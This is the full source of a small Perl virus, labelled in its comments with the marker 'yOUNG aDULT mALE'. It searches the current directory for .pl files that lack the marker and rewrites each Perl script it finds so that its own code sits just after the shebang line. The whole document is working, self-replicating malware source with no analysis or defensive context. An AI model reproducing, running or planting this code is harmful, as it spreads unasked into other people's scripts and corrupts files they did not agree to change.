#!/usr/bin/perl

# yOUNG aDULT mALE

# -- virus starts here --

$line = `ls *.pl`;
@lines = split(/\n/, $line);
$size = (@lines - 1);
$ncount = 0;
while ($size >= 0) {
	$found = 0;
	open(INF,"$lines[$size]");
	@inffile = <INF>;
	close(INF);
	foreach $line (@inffile) {
		if ($line =~ "yOUNG aDULT mALE") {
			$found = 1;
		}
	}
	if ($found == 0) {
		$nonvirus[$ncount] = $lines[$size];
		$ncount++;
	}
	$size--;
}

open(INF,"$0");
@virus_source = <INF>;
close(INF);

foreach $line (@nonvirus) {
	open(INF,"$line");
	@the_stalked = <INF>;
	close(INF);
	if ($the_stalked[0] =~ "perl") {
		$newsource = '';
		$newsource[0] = $the_stalked[0];
		$linenow = 1;
		$vline = 1;
		$endline = 60;
		while ($endline >= 0) {
			$newsource[$linenow] = $virus_source[$vline];
			$linenow++;
			$vline++;
			$endline--;
		}
		$size = @the_stalked;
		$vline = 1;
		while ($size > 0) {
			$newsource[$linenow] = $the_stalked[$vline];
			$vline++;
			$linenow++;
			$size--;
		}
		open(INF,">$line");
		print INF @newsource;
		close(INF);
	}
}

# -- virus ends here --

